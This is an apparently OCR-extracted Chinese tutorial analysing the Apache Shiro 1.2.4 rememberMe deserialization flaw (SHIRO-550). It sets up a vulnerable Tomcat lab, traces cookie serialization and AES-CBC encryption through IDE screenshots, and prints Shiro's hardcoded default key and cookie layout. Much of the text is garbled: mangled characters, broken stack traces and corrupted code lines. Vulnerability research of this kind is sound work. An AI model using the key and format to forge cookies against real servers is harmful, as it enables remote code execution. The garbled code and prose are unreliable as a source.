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Java: jdk1.8.0 121
Tomcat: 7.0.94
& JG i3 ANshiro-shiro-root—-1.2.4/samples/web

FIDEAIN#,, H & BEpom. xml, FEE jstliRANL. 2, ¥ MMcommon
s—-collections4, Ul :

<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<l-- BHFEFHstLiEK1.2 -->
<version>1.2</version>
<scope>runtime</scope>

</dependency>

.....

<dependency>
<groupId>org.apache.commons</groupId>

<artifactId>commons-collectionsé4</artifactId>



<version>4.0</version>
</dependency>
</dependencies>

ﬁﬂ%ﬁ*ﬁ%jStlﬁﬁZK<version>l.2</version>, %T&ﬁ%ﬁeThe

absolute uri:

http://java.sun.com/Jjsp/Jjstl/core cannot be
resolved in either web.xml or the jar files

deployed with this application, #lF:

“ 2 C O @ localhostB000/shirotest/ E an & O £ e H 2 ®

HTTP Status 500 — Internal Server Error

[T exception Repeet

[T e fsp (Wnes 19, colume: 0] The abschse uri: Betpe /e I ethesr webuaml o the jar fles depoyed with this application

[T The server he Freen ffiling the request.

Jexception)

ot apache, Jasper. JasperException: [hoaw. jep (line: 19, colan: 00 The absolute wri: huwp://dava. s con/Jepd Jetl/eore cannor be rezolved in either veboml or the Jar files deploved vith thiz applicatien
org. apachi., jasper. conpiler. Jepk Juvaz
arg. apache. Jasper. conpiler. i hor. di i Javazd4dd

erg. apache, jasper, conpiler, Jepfrrer her. java: %)
org. apache, Jarper, conpller, 1udaDi

org. apache, jasper, conpi Ler,
org. apache. jasper. conpiler. Parser. parseDirective (Parser.
org. apache. jasper. conpiler. Parser. parsofloaents (Parser. java::
org. apache, Jasper, conpller, Parser, parse (Parsor. Java:133)

org. apache, jaspar, conpiler, ParsarContrel lor, deParse (ParserControl ler, java: 237)
org. apache, jasper, conpiler, 1ler. parse(F lor, java:102)
org. apache. jasper. conpiler. Conpiler. gensrateJava (Coapiler. java:199)

org. apache, Jasper, conpller. Conpller, conplle{Coapilor, Java:374)
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+ = @ F | Name: | tomcat [ ghare
~ % Tomcat Server )
herr Server Deployment  Logs  Code Coverage  Startup/Connection
¥ Templates Application server: | Tomcat 7.0.94 i ! Configure...
Open browser
After launch | @ Default v .| [ with JavaScript debugger

URL:  httpi/flocalhost:8000/

VM options:
On ‘Update’ action: | Restart server v: 4 Show dialog
JRE: | Default (1.8 - project SDK) ~
Tomcat Server Settings
HTTP port: | 8000 [ Reploy applications configured in Tomcat instance
HTTPs port: [ Preserve sessions across restarts and redeploys

IMXport: 1099

AJP port:
© Warning: No artifacts marked for deployment 9 Fix
° cancel | [ 2so¥
o
il Ewar .
+ —@ F -~ " K Name: | tomcat [ ghare
v AiTomeatServer S Depl it Lo Code C Startup/Ce i
oy erver eploymen gs e Coverage artup/Connection
> FTemplates Deploy at the server startup
Selected artifacts will be deployed at server startup
+z samples-web:war exploded
i
]
© Warning: No artifact 0 Fix
L cel Apply

BEE IH AR



| Run/Deb

+ = @ F | Name: | tomcat [ ghare
~ % Tomcat Server )
Y Server Deployment  Logs  Code Coverage  Startup/Connection
> FTemplates Deploy at the server startup
s
Application context: ]Ishirotest =~ v]
(7] Cancel | | Apply
S J& Run
oK, PiHhttp://192.168.43.30:8000/shirotest/, HI T
Pt IE B 24 B 5 1]
< C O O F==£| 192.168.43.30:8000/shirotest/ &

Apache Shiro Quickstart

Hi Guest! ( Log.in (sample accounts provided) )

Welcome to the Apache Shiro Quickstart sample application. This page represents the home page of any web application.

If you want to access the user-only account page, you will need to log-in first.

Roles

To show some taglibs, here are the roles you have and don't have. Log out and log back in under different user accounts to see different roles.
Roles you have

Roles you DON'T have

admin

president

darklord

goodguy
schwartz

Bl 2 i Remember Me,



< 2> C (O A FT&£| 192.168.43.30:8000/shirotest/login.jsp;jsessionid=8B4EDAA728B8F31407557CF 1+

Please Log in

Here are a few sample accounts to play with in the default text-based Realm (used for this demo and test installs only). Do y

Username Password
root secret
presidentskroob 12345
darkhelmet ludicrousspeed
lonestarr vespa

Username: ‘ root |

Password: ]“"“ |

Remember Me

=~ [toon]

COOkie':F‘Az:\,gg/]\rememberl\/lekey,

859 hittp://192 168.43 30:8000 GET Ishirotestilogin jsp;jsessionid=8B4ED. . 200 2427 HTML sp
860 hitp://192.168.43.30:8000 GET Ishirotestistyle.css 200 1550 css css
|881 http:/192.168.43.30:8000 IPOST Ishis tlogin jsp;j ionid=8B4ED... v 302 868 HTML isp
862 hitp:/[192.168.43.30:8000 GET Ishirotest/ 200 999 HTML Apache Shiro Qi
rﬁl hite 1107 1RA 47 W-ANNN RET fehi Mevrries ieeyi innid=AR4FT ')3\0 a87 HTMIL iz

[Reques [ Resorse |
|.M.| Headers | Hex |
HITP/1.1 302 Found ’/

Server: Apache-Coyote/l. 1

Set-Cookie: rememberMe=deletelle: Path=/shirotest; Nax-Age=0; Expires=lNon, 13-Jul-2020 07:41:20 GNT

Set-Cockie:

rememberle=0rT4y 1vFOkd1F JwbBshODHuOGhyeB £ 256 e xwcHdX9£ TLI £ 1D6ek t KHQLV TZpKpRval +smmai Q70191 BAaNl o jwi gdc jubTeEsK1ai TEOTNE xkHAaJ / akF JTNbA TZCB/ 3/HDX41¥aqt
1gBEE jVU+4y4/ksFiTkrA65 1x/¥] jvbPD3wKZ3/KVHADV j j913Vbbzea+rxVNe JOVRVT 3IVEe/MU£d1 7rBER 1 QkDXBHz hGUT 4w0/ SdphZulL sYwh/d4XxENhada Tmb+jS/RkDbtpxtwT TUaP /iN2NL
tuksuB 3 ELTRUT ImlNZDwQaqwieTrB Thrns 3 jpVCI zBelznl pPYwaDY fQmyY Ul oSbTyauVeg IVei 1PHvDsTdf 15KalF fuStZrnTrmk 1kSRUSVys frVa3KkVENnS1 e 2XqADTV+UNmde S6RCdbBhK e ts
ANJHHDXEaufCVUIESVE3FY Syyi yr TOPNNL 20ul DLSKFnliPevpiVoliGvIvAe2E: Path=/shirotest: Nax-Age=31536000: Expires=Ted, 14-Jul-2021 07:41:20 GNT: HttpOnly
Location: [fshirotest/

Content-Length: 0

Date: Tue, 14 Jul 2020 07:41:20 GNT

Cornection: close

Tﬁ?}ﬁ?ﬁﬂﬂ@ﬁ%ijﬂ?j—:rememberMekey‘:P o



# issues.apache.org/jira/browse/SHIRO-550 B & B

Dashboards v Projects ¥ lssues v

@-f- Shiro /- SHIRO-550
7> Randomize default remember me cipher

v Details
Type: D sug Status:
Priority: 2 Major Resolution: Fixed
Affects Version/s: 124 Fix Version/s: 125
Component/s: RememberMe
Labels: None

v Description

The way shiro is set up by default exposes a web application to deserialization attacks. This is dangerous anyway, but
particularly in light of the recent exploits using commons-collections (see http://foxglovesecurity.com/2015/11/06/what-
do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-wvulnerability/ for more info).

By default, shiro uses the[(‘ooki RememberMeM r.| This serializes, encrypts and encodes the users identity for later
retrieval. Therefore, when it receives a request from an unauthenticated user, it looks for their remembered identity by
doing the following:

* Retrieve the value of the rememberMe cookie
* Base 64 decode

* Decrypt using AES

+ Deserialize using java serialization (0bjectInputStream).

oAk kK FE T W OW O o& Apache Shiro
1 CookieRememberMeManager. java H hn 2
M S5 B 54k Jo /7 /£ 4 N remember-me ) CookieHr,
WiHE L Shiro W ERINE AN E H P Cookie, fil K Javax ¥
I IR, BE T AR H AR L& B IRAT AR S a4 .

i) R H B AR

CookieRememberMeManager, X H AT shirofy It & T 8 T
k C IDEA 1 s JF Maven F HJ shiro 4 4« & /K Download
Sources, MM A N , RE2HmMEE FCookieRememberMeM
anager, HlF:

o

v People
Assigne
Reporte

Votes:
Watche

v Dates
Createc
Update
Resolve



= project v o= s -[& gerjona | € Configurationtxceptionjovs - | gerjova --"--
. . . - v g

> £
» Eak 3 813
3 Bah 0 : o 25 # Root exception indicating there was a problem parsing or precessing the Shire configuratid
v Tk pacheshirosshis 124 =l
3 [ shivo-core1.24 ar library root Find in Path Omatchcase Owards DlReges?  Dflemask: monl « T,
v T s bi1.2.4 IQ-C k: § matches in 2 files +

[ shiro-web-1.24jar library root

In Project Module All Places.

¥ by META-INF
v Iy org.apacheshiro.web P
¥ [y config private static transient final Logger log = Log (Cooki ger.class):
: ::i;w * Constructs & new (Boode Ci b with a default (Boode rememberMe] cookie template.
ter
> Bymat |p|blic CooldeRememberMeManager() {
&c b DefaultWebSecurityManager jin
(€} DefaultwebSecurityManage!
& Dek
&) DefaultwWebSubjectFactory | CUsendr
) WebSecurityManager | o7 * and encryption logie, this class util ecir before setting the cookie value
Run: 4 tomeat - 66 -
(:| Serve [unmmumlmm x[utem 69 # Bsince 1.0
[ ] |D|pmm Imw: 70 *
o v samotesmeb 1o . 71 public class CookieRememberMell extends AbstractResent {
Notice:

— FHE F#shirolifd FREH KR, IDEAHRIIEE A e R o] LI E £ &4
E gm0 BE B
M i cookieRememberMeManager, ] HFIDEAW Structure i% I

‘E, H,ruﬁ%ﬂfﬁﬂ/‘]%H:';CookieRememberMeManager%H"Jéﬂﬁifﬁ%‘%,
R P54 FR 5 00 N AR, AT RL KR &3 Ak AT % B R T RE

RIGIX B ILATE s HrrememberMe 2 B 4 MM% K, FATMET IDEAKF
ind

UsageIljfE X rememberSerializedldentity R #H 171 E &K,
K H W remenberIdentity A T .

| shiro-web-1.24-sourcesjor  [5 org D0 apache  [ashiro  Daiweb Damgr @
W Project R - - jrve % | class | ) | & coo jova < | @) java -
> T Maven: i ju26 1T T T
- - o log debug (msg)

Structsre e

g ze@iElvoes BT
v E = CovlbeRememberMeManager o
# ' CookieRememberMeManager) 4 }
= getCockie(: Cookie 146 |
% seCookie{Cookie) void 147 & Bl remember Wi
[ rememberSerializedidentitylsubject, bytelli: void 11001 |, HttpSetvletRequest request = WebUtils. getttpRequest (subject) :

ﬂ: N 3 3 :I* HttpSeryletResponse response = Webltils. gethrrpResponse(subject)
"
TS0k it remenber (1 {{
51 B

return;

@ & ensurePadding(String): String
m v forgetidentity{Subject): void 145
= forgetidentity{SubjectContextk void

sncode it and store as a cookie:

ol Ly 152
A & logiLogger = Logg 1 } 154 Cookic template = goetCookie(): /the class attribute is really o tesplate for the ouwtgoeing cookies
U = DEFAULT REMEMBER ME_COOKIE NAME: String = *ren cooki Kie = SimpleCookie (template) :
B & cookiCocks Cockie cockie = new SimpleCookie(tesplate):

156 tookie. setValue(basefd) ;

157 cockie saveTolrequest, responsel:

p= . =
find:  Usag i by.. - & -

! <
Ll ¢ & 1 remembersevalizedidentitySubject, bytell) \
¥ (] v Found usages  usages
A W~ Unclassified usage 1 uiage

~ B Maverc gegapache.shircishing.core:1. 24 1 uiage

« = .

_ ~ Eaorgapacheshiromgt | uige

I v Ey e AbstractRememberMeMansger | Liige

= @ v @ o rememberidentiny{Subject. rincipaiColiection) 1 e ]
347 bytesk -

HEHELER2E, KB TREFERIIORE, W



@ T EmEm T Vv e X = gEm ¢+

(etidentity{Subject) void

memberMefAuthenticationToken): boolean

full

™ BLALLGW IO B R L I T T T L

*
public void onSuccessfullogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) |
always clear any previous T

forgetldentity (subject):

emberidentity(Subject, PrincipalCollection): void
inci inciy i new save the new
if (isResemberVe(token)) {
emember Identity (subject, token. info):
I else {
if (log isDebugEnabled()) |
log debug(“MuthenticationToken did not indi

“ResemberMe functionality will not be executed for corresponding account. ) :

fdemefty:
fdemesty;

emberserializedidentitgSubject, bytef]): void

ontext): byte]] 1l
vertBytesToPrincipals(byte(], SubjectContext): PrincipaiColl
e 5 jon, SubjectCor

rypUibyte(]): bytef) is d
ryptiByte(lk byte(]
slize{PrincipalCollection): bytef]
erilize{byte]]): PrincipalCollection

iadL Abstrac ger * onSucce oging
 memea

L
~ Found usages 2 usages

~ Unclassified wsage 1 usage
~ i Maven: org.apache. shiseishiro-coreil. 24 1 usage
w [ org.apache.shiro.mgt 1 usage
w ) w AbstractRememberheManager | usage
v e i j icati icationinfo) 1 usage

297 token, info):

BMERRF BRI AW Morg.apache.shiro.mgt.Abstr
actRememberMeManager#onSuccessfullogin, &R Wreme
nberMe HMMEHELE, REWRHHEATEMIK " root/secret,
7 1% =

Me M 1Z L, AT ER, WNERF AR AL, WT:

Remember

[, wa h e g e ow W m  m m e A H
: : > IocalhostB000/shir in
11 shiro-core-1.24-scurcesar [ org [0 apache [0 shira [0 mgt & « X 0 o t shirotest/loginjsp
B Project = @ F & —  gmwebaml - | & AbstrscRememberbeManagerjiva < Please Log in
3 B Maven: " a13 N
- | & o+ 4+ ﬂ.. % T ) ) DIMMALL 1y e o few sammpbt accounts to play with in the default text-based Resim (used for thes dem
v B Maven: orgapacheshiroshiro-corec1.24 & Bopher || Crpaemat | B Opece | e Password
iz o K| P——
> By META-INF 289 # fparas info
v £ orgapache.shire 290 2 lenessar veips
>
o :”" 20: BT public void {Sub_ml subject, Authenticati
> Eqauth: vz ' Lo 1
S v T - )
» [ycodec "4 B Remember Me ) —
> By concument 295 now save the new jdentity: \ (topa]
? ::m 296 if (isResomberte (token)) (
> Dydso 297 remesborIdentity (subject, token, info):
3 e 298 I oelse |
> By fumcion 299 if (log isDebugEnabled(}) {
* Do 300 Jog dobug(“AuthenticationToken did not indicate
: i 301 “Remcsborie functionality will not be o
; Exldap c }
P v Dymge
[ & AbstractRememberMeManager = }
a - " e
E £y AuthenticatingSecuritgarager - -
T A o A A
3| Debug: 4 tomcat
3| @ |oreuson | oupan ] L = BEEEELEIE
|| © | Dirames < B Varables TECEW localhost BORRTE...
E » |‘,.W4..@#thmv 4 4 Y |+ * Ethi s (CookichememberMehanagen®3508]
i : - - > B sbject = gatingSubjectii 3600
i ! > 0 token = [UsermameP, a1 e root, 0270007

fEonSuccessfullLogin/7ikH, HA WM forgetIdentity7ikK
BEAT A B request Mresponsedf K, JHfEresponseP W B remenb

erMe=deleteMel] Cookies,

£ B HE A s R



Set-Cookie: rememberMe=deleteMe; Path=/shirotest;

Max-Age=0; Expires=Mon, 13-Jul-2020 07:41:20 GMT
EAARRE KFAEXBATLUAHCHR T

S Ja H by H " H A ik Remember
MelE T, X HEIKEFM M 4ik 7, FitisRememberMe (token) 4 R
N true , F5 ## AN rememberIdentity(Subject subject,
AuthenticationToken token, AuthenticationInfo

authcInfo) Igliﬁo

| shiro-core-1.24-sourcesjar | [501g ' [ apache | [ shire £ mgt | € AbstraciRememberheManager
Preject B o — | Gweboml | jiva < | @) |
K ar fulLogin - Ot +Q K T [ March case Clwards ClReger ? One maren g
| * BaMaver: orgapache commons:com
B Maver: org.apache shirocshirg-core1
v [ shiro-core-1. 2.4 jar iy root
3 Ly METAINF
v Dyorgapstheshio
By sop
O athe 1 L ix root
By suthz w @ public void resesberldentity(Subject subject. Auth ationToken token. AuthenticationInfo authelnfo) {
E cache getIdentityToResesber (subject. authclnfo): principals: “roor”™ aueh
Iy codes 5
Iy concurrent a
by config
Dy aymte
Iy dso

P s - - S - Coe e e e

Reglace | Replyoeall | Ewdude | [ Preserve Case [Jin Setecsion

# fparas subject
# fpurne token
# Sparas authelnfo th

e

Poay

PrincipalCollection principals

i

B A HgetldentityToRemember B R FEHH 7 & 17,
P2 5 AT e PRl

rememberIdentity (org.apache.shiro.subject.Subject,

org.apache.shiro.subject.PrincipalCollection)@%ﬁo

jar  [morg ' [ apache = [ shiro ' '8 mgt = (€ AbstractR berMeManag —
B = & —  ghweboml < Abstrac berh ger.java | (-1 P iToken.java « I
‘ceforge.nekohtmlne . fulLogin Q1+ 40 5T [ Match Case [Jwords [JRegex ?  One match

che.commons:comm r .
Replace Replace all Exclude [ rraserve Case []In Selection

che.shirozshiro-core:1 PN~ CHTHUEL Orl 1Al JSTUIUTITLE LY (UL E. apaciie. SV, SUUjet . Quu e, Uy ielss 1

24jar library root | ., o
F
he.shiro

342 # @param subject the subject for which the prin

# Bparam accountPrincipals the pr

#*
345 protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) { subjec
I byte[] X ] ¢
Irrent . . R R
s 34 rememberSerializedIdentity (subject, bytes);
348 }
o }

B M T convertPrincipalsToBytes, FHERIFE .



ar - [norg 0 apache = 9 shiro - ©% mgt (€1 AbstractR berMeM.

@ = % — S webxml < (€ AbstractRememberMeManagerjava « | € UsernamePasswordTokenjava «
sforge.nekohtmlne | Q- onsuccessfulLogin o+ 40 B T [Omatch Case [Iwards [JRegex 7 One mateh
1.COMMONSICoOmMme - r 1
. . L Replace Replace all Exclude D Preserve Case D In Selection
re.shiro:shiro-core:1 ..
Ajar library root # @param principals th
+ Breturn the repres
».shiro )
protected bytel] convertPrincipalsToBytes(PrincipalCollection principals) [ -
if (getCipherService() != null) {
bytes = encrypt(bytes):

rent

return hytes:
convertPrincipalsToBytes R 4

HAEMMBP S Moot 34T T FHIA, AR5 X AL 5 B 7 B A
ﬁﬁf?ﬂﬂ%ﬂa ?‘21|‘]F5ﬂﬁiﬁorg.apache.shiro.mgt.AbstractRe
memberMeManagerf#encrypt (bytel]

serialized)KWEl, B FNEEAIMER,

protected byte[] encrypt(byte[] serialized) { ser red: (-84, -19, 0 5 115 114, 0 50, 111, 114, + 342 more v
byte[] value = serialized: walues (-84 -19
CipherService cipherService = getCipherServ
if (cipherServi

ice(): sd : 360! _
null) | =

value = byteSource. getBytes();

}
return value: L
b
AbstractRememberMeManager * encrypt()
o —
Bl TomcatCatallnalog +* = | = 2 + + 1 3 » H EE o=
-+ B Variables =
LY |+ © 7T

> {= value
cif

f blockSize =0
» f paddingSchemeName = "PKCS5Padding” =
» f streamingModeName = "CBC”

f streamingBlockSize = 8

> st i ingSch = "PKCS5Padding”
£ transformationString = null
£ streamingTransformationString = null

¥ F algorithmName = "AES"
f keySize = 128

POt

b filter)

rapache.shiro.

MRAEIDEA W A8 & 15 5, 0 DUHED n 28 59 HAES, #Ex NCBC,
JH 75 NPKCS5Padding, getEncryptionCipherKey () B& ¥ N i% /&
SRELAES N ) %4, XEBERMBIEE, WH:



I8 org I8 apache [ shiro - 8 mgt (€ AbstractRememberMeManager
:3 = & — i 2weh.xml x| £ AbstractR; b java I. ializer.java :<| al P dToken.java =
org

Q- ulLogin - 9 1+ 4+ QB T [ match Case [Jwards [JRegex 7 One mateh

[ Praserve Case [ in Selection

commonsicommy
shiroshiro-corerl |

Replace Replace all

# fepe FsetCipherService s (fBcode get/set#fey)

public byte[] getEncryptionCipherKev() {

return encryptionCipher]

L
m - . _ -
# Sers the encryption Key to use |for encryptlon operations.

*
# @param encryptionCipherKey the encr
# Bspp SsetCipherService for

public void setEncryptionCipherKey (byte[] encryptionCipherey) {
this. encryptionCipherKey = encryptionCipherKey:

£ — A get J7 ¥k, AT LT X BB set 77 V&, Find
Usages# TP W B H 7 setEncryptionCipherKey 5 ¥k, & 5 #&
FlRsetCipherKey HEWH T .

v Method
m ‘= setEncryptionCipherKey(byte[])
v Found usages 3 usages
v Unclassified usage 1 usage
v [y Maven: org.apache.shiro:shiro-core:1.2.4 1 usage
v [ org.apache.shiro.mgt 1 usage
V¥ (€l w AbstractRememberMeManager 1 usage
v m & setCipherKey(byte[]) 1 usage

250 setEncryptionCipherKey(cipherKey);

A SEAE E K

g aup - DMLY VA AICLOTE LT SFMICLE AL GHTE NEF LY WIE SUE W TG AV S WA S

3 authe 246 #

3 authz

) cache

3 codec

[ concurrent t ne and |

13 config 250 setEncryptionCipherKey (cipherKey) :

Iy crypto 251 setDecryptionCipherKey (cipherKey) :

Iy dac

Oy env

£y functor

Enio 254

£ jndi # Forgets |

L3 Idap AbstractR berMeM. » setCipherKey()
Usages of setCipherKey(byte[l) in All Places

Y ~ Method

m = setCipherKey(byte[])

247 public void

ere the en dec Al'€

for the specified (@lipk Subject/ instance.

MW W W W W W W W W W W vy

! ~ Found usages 4 usages

] ~ Unclassified usage 1 usage

] ~ i M org.apache shiro:shiro-core:1.2.4 1 usage
- ~ [morg.apacheshiro.mgt 1 usage

) 1€, = AbstractRememberhMeManager 1 u

~ m = AbstractRememberMeManager()

e —
E 109 setCipherKey(DEFAULT_CIPHER_KEY_BYTES)



B TAESHKey, LUBE S A9 1 05 5 £ AU B .

[norg | [n apache | [n shiro | [n mgt & Ab b
= | & — | Ewebaml x| gab java - | () Seriolizerjava | (& UsemnamePasswordTokenjava -
‘ge. a- fulLogin “ 9 1+ 4 QT O Match Case CIwards DlReges 7 Onematch

DMMONSICOMME
Airosshiro-core:

eglace | Replaceall | Eclude | [JPreserve Case [Jin Selection
i

wr library root

lue of "baseGd’ was copied-n-pasted here:

80 private static final bytel] DEFALLT CIPMER KEY BYTES = Base64. decode( basebdEncoded: "kPH+bIxkiD2deZi Ixcanan=") ;
S >
4k 25 gR it

encrypt(serialized, getEncryptionCipherKey())

Edit Miew MNavigate Code Anabge Refactor Budd Run Jools VC5 Window Help
BS e DA [Romatv| b 68 LL Fr Q%

shiro-core-1.24-sourcesjor [0 org [0 apache [0 shire Do mgr &
= Project v @ 5 @ = EAbstractRememberbebanagerjava < | () CipherSerdceava « | 11 C | et icejava - | LD cejora < | @ Cipher.clans |
S Bpen == =
» by functor }
> o
* Eyjndi @ public ByteSource encrypt (bytel] plaintext, byte(] key) { o/ A o S0 4 342 morel ke,
Structure IE |- byte[] ivBytes = mull: t !
nHEE teWEY O boolean g =i InitializationVy {

® 1 comverntPrincipaliToByte(Principal if (generate) |
™ 1 rememberSerializedidentity(Subje 107
m = getRememberedPrincipals{Subjec
# 1t getRememberedSerializedidentity
® 1 comenBytesToPrincipatibytell §
i @ onRememberedPrincipalFaiture(Ry
m i encryptibyte(lk byte() - o
m ¢ decryptibyte(]): bytef] 312
m ¢ sedalize(PrincipalCollectionk: byte]
@ o desenalie{byte[l): PrincipalColiect
™ onFaledLoginSubject, Authentica
o ontegeutiEubiect vold " i @ [/ £ g 1 N 1

S e e e e e e s e e T S

LI Ll JacipherSenice ) encrypt)

Debug: & tomeat L

Douml|ww: -'|l!lem|»m«m «* B TomeatCanlinalog =% | = & & & t @ ¥ B = Ew o

if (ivBytes == null || ivBytes. length == 0) [ A Hiv
throw new I1legalStateException(”Initialization vector generation is cnabled = gencrated vector” +
“cannot be mull or empty.”):

}
return encrypt (plaintext, kev, ivBytes, generate):

= B Varlables
4+ Y |+ > = thisefaec

ivBytes = pull
i generate » true
ooivyteslength = fvalang NullPainterException

N

iviiid generatelnitializationVector PR 54 W .



protected bytel[] Igeneratelnitialization\'ector(boolean streaming) {
int size = getInitializationVectorSize();
if (size = 0) {
String msg = "initializationVectorSize property must be greater than zero. This number is " +

“typically set in the " + CipherService. class. getSimpleName() + ” subclass constructor. ” +
“Also check your configuration to ensure that if you are setting a value, it is positive.”;
throw new IllegalStateException(msg);
}

if (size % BITS PER BYTE = 0) {

String msg = "initializationVectorSize property must be a multiple of 8 to represent as a byte array.”;

throw new IllegalStateException(msg);
}
int sizelnBvtes = size / BITS PER BYTE
byte[] ivBytes = new byte[sizeInBytes]:
SecureRandom random = ensureSecureRandom() ;

random. nextBytes (ivBytes) ;

return ivBytes;

Bl #tgeneratelnitializationVector B %, W PLR I iv & BEHL
AR

iv Bl BLA B, T8 A I e R BRI A i v IR ?

ROk

[A] £

encrypt(serialized, getEncryptionCipherKey ())

PRt

encrypt (bytel[] plaintext, byte[] key, byte[] iv,

boolean prependlv)



N org  Enapache B0 shiro | B9 crypto /8 JcaCipherService |
ERE- java = | @\Cip Jjava = | T3 Cip | i cacip dcejova | 8 ? java - | @ Cipher.class =

@ private BrteSource encrypt(bytel] plaintext. bytel] key, bytel] iv, boolean prependlv) throws CryptoException | plaimrexe: -84 19 0
final int MODE = javax. crypto. Cipher. ENCRYPT MODE,  WODE: 1

= & = 3 bytel] output:

¥ O

| SecureRand 170 if (prependlv &k iv !'= null && iv. length > 0) { prepesdliv: true
iecureRander -
mdom(l Secu
ol SecureR.
tring(bootea .
evectorbool 326 output = new byte[iv, length + encrypted, length];  FRIAIVETAN + BEITRERIAMN
s -

L byrefl bo< 505

glx‘:n?:; ’ v EMiftoutputsi, {£ERiv.length

v brtes:
aey: i 330 iv bytes:
byte], int: by 201 System. arraycopr(iv,  srcPos: 0, output, destPos: 0, iv, length):

I byze(] £}
AlgorithmPal 55 nerypred bytes
n CutputStre ., System. arraycopylencrypted, srcPos: 0, output, iv. length, encrypted. length);

n Outputsire } else | BRI Niftoutput, {ZEEAIVICERE
- Cutputstre cutput = crypt(plaintext. key, iv., MODE): t&, IR iRoutput=ivE)1 6{Hl+ B3I ER
il

if (log isTraceEnabled()} {
log trace("Incoming plaintext of size " + (plaintext != null ? plaintext. length : 0) + ", Ciphertext ” +
“byte array is size ~ + (output != null 7 cutput. length : 0));

return ByteSource, Util. brresoutput)

RAMERRB KK bytes, Jf&l164A01v+5 3 H B .
H AT L 2 A 20 8 A 0 L R

¥root M T A Z EMMEETAESINE, MELFHHES164Liv
BEAT PR, R EIF M bytes B A, H 1640 1v A2 1 B4l 1k i

, Bliv=bytes[:16],encrypt=bytes[16:]
o N5 NAES, B NCBC, 7 NPKCS5Padding,
® key NBase64.decode ("kPH+bIxk5D2dezZilxcaaaA==")
o ivBEHLA B 1647 .

L Emt £ convertPrincipal sToBytes bR £ 1 551 .

Bl VIXHEEARM R VRSN, ivEMEBENETEFRMLEH TR,

MIEFTEE i convertPrincipalsToBytes i, R R HEHHEFren
emberldentity K4, B i#frememberSerializedldentity iR %X



v prmemees o an s = o e

jar | Edorg | [n apache | I3 shiro | B subject | B support | & Del —

[ o — | & :._xla' i java = | (€ i ject.j: xl‘-',.,." dlectionjava = | () Cooki { g l-s|
ceforgenekohmine  pocompiled class file, bytecode version: 50.0 (Java 6) Download Sources  Choose Sources... ||
he.commons:comm H
he.shiroshiro-corert 43 O @ pi d void Serializedldentity (Subject subject, bytel] serialized) { subjecr: FebDelegatingSubject@3789 serialized: (103 1}
24jar library root | 44 if (MWebUtils. isHttp(subject)) [ ¥ l
: if (log. isDebugEnabled()) {
teushiro String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet request and response i_J!

log. debug(msg):

}oelse |
geny HttpServletRequest request = Webltils. getHttpRequest (subject);
: _HttpServletResponse response = Webltils, getHttpResponse( ub.lect)
| _String basebd = BaseBd. encodeToString(serialized): b
Cockice template = this getCookiel(): ¢
= Cookie cookie Simple
|_cookie. setValue (basef4) :
cookie, saveTo(request, re%nse}:
—
| B Tomeat Locathosttog ++« | B Tomeat Comlina tog +1 | = & £ 2 2 % 1\a 5 Ewmoam
| B variables
¥ enslued =

wec-7*@2,351 in group *m-.. LY+

request =
» TEApONGE =
based = “Ze

weprise T Appiication Servers QL 3Find  ® gRun | #5Debug | I §T000 Q Event Log

rememberSerializedldentity bR Z K AES I % J5 I {H Base64 4y
Wy —k, REREF CookieH

Fi# FCookieH rememberMefd i) K :

L. FF bl 1t H J
2. ¥ oM e A B AT AES N &, W
3. K AES I % B M A 5 iv PF &
4. B F|CookieF fJrememberMe F Bt »

£ 3 root
HoRNw =, IV ANFE L
i 41T Base64 %5 14

B R OREATE FrememberMe 7 B I fif % 1L 72
75 SR R N O R A

org.apache.shiro.mgt.AbstractRememberMeManager#fenc

rypt (bytel[] serialized)
XA, RATERA K

org.apache.shiro.mgt.AbstractRememberMeManager $ %E
B X N K decrypt (bytel[] encrypted) B # 2R J5 Find
Usages, ff L ZF, 3



org.apache.shiro.mgt.AbstractRememberMeManager#fget

RememberedPrincipals 2R/G FWr&, .

shiro-core-1.2.4-sourcesjor [ org 0 apache [0 shiro [0 mgt & DefaultSecurityManager W

 Project = @ & - g java | @ Defaul y java | @ £ java « | T2 L % ]
> Dyenv Q- getRemesberedPrincipals « @ 1 4 Q B Y, [ Match Case [Iwards [JRegex 7 One match
: ::KW a Replace Replace all Exclude [ praserve Case [lin Selection

Structure -

= (SubjectContext subjectContext) {
B ePEY O® =3

of public PrincipalCollection [
7

% bjectContext): S

PrincipalCollection principals = null; -
W © doCreateSubject{SubjectContext): Subjer 7 try |
B v savelSubject) void 303 byte[] bytes = getRememberedSerializedldentity (subjectContext):
B ¢ delete(Subject): vaid SHIRO-138 — enly call ¢ ertByresToPris
Wt i g i antext): . .
5 ¢ resolveSession(SubjectContext): Subjecte if (bytes != null && bytes. length > 0) {
¢ resolveContextSession(SubjectContext): principals = convertBytesTePrincipals(bytes, subjectContext):
n @ getSessionKey(SubjectContext): Sessiont }
¢ resolvePrincipals(SubjectContext): Subjec } catch (RuntimeException re) {
» )
W

principals = onRememberedPrincipalFailure(re, subjectContext):

w logout{Subject): void | Secu

0 @ stopSession(Subject): void
o webindiSubjectvoeld 401
Aty i jectContext 407 return principals:
b & log: Legger = LoggerFactory.getloggern| AbstractR 1 . getR beredPrincipals)
Find:  Usages of dPrinci ont... .
e T ~ Maethod o )
L tContext)
b 0]

~ Found usages 1 usage
# B« unclassified usage 1 usage

- = v BEM g.apache shirccshi 1124 1 usage

T ~ [morg.apacheshiromgt 1 usage

" ~ (€ DefaultSecurityManager 1 usage

= = v @ © getRememberedidentity(SubjectContext

BB AT MRS IR M, kW s T

IRt getRememberedSerializedldentitypf %L,

|t e e s i e e s ek g i
HS ¢ BA [Romav| p B, Gu LL o Q%

shiro-web-12.4jar (% org 4 apache [0 shira [0 web [0 mgt @ CookeRememberhMedanager

= Project @ F & — egerh | @) agecjava < | it | i subjectjova « | ) WebSubjectclass « | & AbstractshiroFilter.class « | & CookieRememberhteManager.clas - |54

1
> Dyew class fle, sion ) Download Sources  Choose Sources... | §
» by functor 2

> Dqio : 1 oelse |
Structure I - 54 HttpServletRequest request = Webltils. getHttpRequestiwse): re r
RNy toe@EY O® _HttpServietResponse response = Webltils. getHttpResponse(wsc); .}
1

v @« CookieRememberMehlinager 86 String baseB4 = this gerCookie(). readValue(request, response): |

'« CookieRememberMehanager) | 57 r ("deletoe”. equals(baseBd)) | _y 1
